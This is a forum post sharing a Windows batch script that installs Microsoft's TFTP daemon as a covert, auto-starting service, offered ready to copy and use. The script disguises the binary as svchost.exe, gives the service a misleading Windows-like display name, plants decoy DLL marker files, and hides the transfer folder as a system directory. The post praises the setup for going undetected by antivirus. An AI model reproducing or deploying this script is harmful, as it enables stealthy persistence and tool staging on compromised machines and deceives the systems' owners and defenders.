|
TFTPD SERVER is used for transfer tools,but most of these tools were killed,the onlyone unkilled TFTPD tolls is "TCP/IP Trivial file transfer daemon" by Microsoft,but this tools must be install an server for work,to most peoples,it is a hard or dull work,so i made a BAT files to help us insatll it easliy.
TFTPD SERVER is used for transfer tools,but most of these tools were killed,the onlyone unkilled TFTPD tolls is "TCP/IP Trivial file transfer daemon" by Microsoft,but this tools must be install an server for work,to most peoples,it is a hard or dull work,so i made a BAT files to help us insatll it easliy. We need to files tftpd.exe and sc.exe,all of them is made by Microsoft and unkilled,and rename tftpd.exe to srvhost.exe The BAT files is: *************************************************************************** @echo off @if {%1}=={i} goto inst @if {%1}=={u} goto uninstall @if {%1}=={o} goto open @if {%1}=={c} goto close @if {%1}=={ch} goto check @echo ----------------------------TFTPD SERVER-------------------------------- @echo Usage: inst (Option) @echo (Option): @echo "i" -- install tftpd Server @echo "u" -- unistall tftpd Server and delete all files @echo "o" -- open tftpd Server @echo "c" -- close tftpd Server @echo "ch" -- check tftpd Server status @echo ------------------------------------------------------------------------ @goto end @:inst @if exist "%systemroot%\system\TFSRV.DLL" (echo This computer has been installed tftpd Server Already! & goto end) else (goto install) @:install @if NOT exist srvhost.exe echo ERROR: can't find "srvhost.exe" && goto end @if NOT exist sc.exe echo ERROR: can't find "sc.exe" && goto end @echo This is tftpd Server sign file! > %systemroot%\system\TFSRV.DLL @echo This is tftpd Server control file! > %systemroot%\system\TFCON.DLL @move /Y srvhost.exe %systemroot%\system\svchost.exe @move /Y sc.exe %systemroot%\system\sc.exe @%systemroot%\system\sc.exe create TFSRV binPath= "%systemroot%\system\svchost.exe" start= auto DisplayName= "Windows TCP/IP Protocol Instruction" @%systemroot%\system\sc.exe description TFSRV "Windows TCP/IP Protocol Management" @net start TFSRV || echo TFTPD SERVER start failed ! && goto end @echo TFTPD SERVER is running on port 69 ! && echo Attaintion: StartDirectory is %systemdrive%\tftpdroot @if exist "%systemdrive%\tftpdroot" attrib %systemdrive%\tftpdroot +s +h +r +a @if exist ts.exe del ts.exe @goto end @:uninstall @if not exist "%systemroot%\system\TFSRV.DLL" echo TFTPD SERVER is not installed! & goto end @if exist "%systemroot%\system\TFCON.DLL" net stop TFSRV || echo TFTPD SERVER uninstall failed ! && goto end @%systemroot%\system\sc.exe config TFSRV start= demand @%systemroot%\system\sc.exe delete TFSRV @if exist "%systemroot%\system\TFSRV.DLL" del %systemroot%\system\TFSRV.DLL @if exist "%systemroot%\system\TFCON.DLL" del %systemroot%\system\TFCON.DLL @if exist "%systemroot%\system\TFCCN.DLL" del %systemroot%\system\TFCCN.DLL @if exist "%systemroot%\system\sc.exe" del %systemroot%\system\sc.exe @if exist "%systemroot%\system\svchost.exe" del %systemroot%\system\svchost.exe @if exist "%systemdrive%\tftpdroot" attrib %systemdrive%\tftpdroot -s -h -r -a && rd /S /Q %systemdrive%\tftpdroot @if exist srvhost.exe del srvhost.exe @if exist sc.exe del sc.exe @if exist ts.exe del ts.exe @echo TFTPD SERVER has uninstall ! @del inst.cmd @:open @if not exist "%systemroot%\system\TFSRV.DLL" echo TFTPD SERVER is not installed! & goto end @if exist "%systemroot%\system\TFCON.DLL" (goto ec1) else (goto op) @:op @net start TFSRV || echo TFTPD SERVER start failed ! && goto end @%systemroot%\system\sc.exe config TFSRV start= auto @ren %systemroot%\system\TFCCN.DLL TFCON.DLL @if exist "%systemdrive%\tftpdroot" attrib %systemdrive%\tftpdroot +s +h +r +a @:ec1 @echo TFTPD SERVER is opened on port 69 ! && echo StartDirectory is %systemdrive%\tftpdroot @goto end @:close @if not exist "%systemroot%\system\TFSRV.DLL" echo TFTPD SERVER is not installed! & goto end @if exist "%systemroot%\system\TFCCN.DLL" (goto ec2) else (goto cl) @:cl @net stop TFSRV || echo TFTPD SERVER stop failed ! && goto end @%systemroot%\system\sc.exe config TFSRV start= demand @ren %systemroot%\system\TFCON.DLL TFCCN.DLL @if exist "%systemdrive%\tftpdroot" attrib %systemdrive%\tftpdroot -s -h -r -a && rd /S /Q %systemdrive%\tftpdroot @:ec2 @echo TFTPD SERVER is closed! @goto end @:check @if not exist "%systemroot%\system\TFSRV.DLL" echo TFTPD SERVER is not installed! & goto end @if exist "%systemroot%\system\TFCON.DLL" echo TFTPD SERVER is opening! && netstat -an | find ":69" & echo StartDirectory is %systemdrive%\tftpdroot @if exist "%systemroot%\system\TFCCN.DLL" echo TFTPD SERVER is closing! @:end *************************************************************************** copy these code to a TEXT file and rename it to a bat files and calld "inst.bat" Try this I made , Don`t change any file`s name , or else it will make somthing wrong. The start folder "StartDirectory" is "systemdrive\tftpd\" and it has been hidden as system folder, put files you want to transfer into this folder. when you stop or uninstall the tftpd server ,this folder and files in it will be deleted. Hope you enjoy it!
Related Items:
|